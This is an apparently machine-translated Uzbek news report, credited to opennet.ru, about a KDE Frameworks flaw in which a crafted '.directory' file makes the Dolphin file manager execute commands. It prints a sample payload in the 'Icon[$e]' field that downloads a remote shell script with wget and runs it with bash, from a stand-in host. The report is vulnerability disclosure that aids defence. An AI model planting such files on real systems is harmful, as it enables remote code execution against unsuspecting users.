Fayllar ro'yxatini ko'rishda KDE kodini bajarish zaifligi

KDE da aniqlangan zaiflik, bu foydalanuvchi maxsus mo'ljallangan ".desktop" va ".directory" fayllarini o'z ichiga olgan katalog yoki arxivni ko'rganida tajovuzkorga o'zboshimchalik bilan buyruqlarni bajarish imkonini beradi. Hujum foydalanuvchidan Dolphin fayl boshqaruvchisidagi fayllar roʻyxatini koʻrishi, zararli ish stoli faylini yuklab olishi yoki yorliqni ish stoliga yoki hujjatga sudrab borishini talab qiladi. Muammo kutubxonalarning joriy nashrida o'zini namoyon qiladi KDE Framework 5.60.0 va eski versiyalar, KDE 4 gacha. Zaiflik hali ham saqlanib qolmoqda qoladi tuzatilmagan (CVE tayinlanmagan).

Muammo KDesktopFile sinfining noto'g'ri amalga oshirilganligi bilan bog'liq bo'lib, u "Icon" o'zgaruvchisini qayta ishlashda to'g'ri chiqmasdan qiymatni KConfigPrivate::expandString() funktsiyasiga o'tkazadi, bu qobiqning maxsus belgilarini kengaytirishni, shu jumladan qayta ishlashni amalga oshiradi. "$(..)" satrlari bajariladigan buyruqlar sifatida. XDG spetsifikatsiyasi talablaridan farqli o'laroq, amalga oshirish oshkor qilish qobiq konstruktsiyalari sozlamalar turini ajratmasdan ishlab chiqariladi, ya'ni. nafaqat ishga tushiriladigan dasturning buyruq qatorini aniqlashda, balki sukut bo'yicha ko'rsatiladigan piktogrammalarni belgilashda ham.

Masalan, hujum qilish etarli foydalanuvchiga quyidagi kabi ".directory" faylini o'z ichiga olgan katalog bilan zip arxivini yuboring:

[Ish stoliga kirish]
Type=Directory
Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Arxiv tarkibini Dolphin fayl menejerida ko'rishga harakat qilganingizda, https://example.com/FILENAME.sh skripti yuklab olinadi va bajariladi.


Manba: opennet.ru

a Izoh qo'shish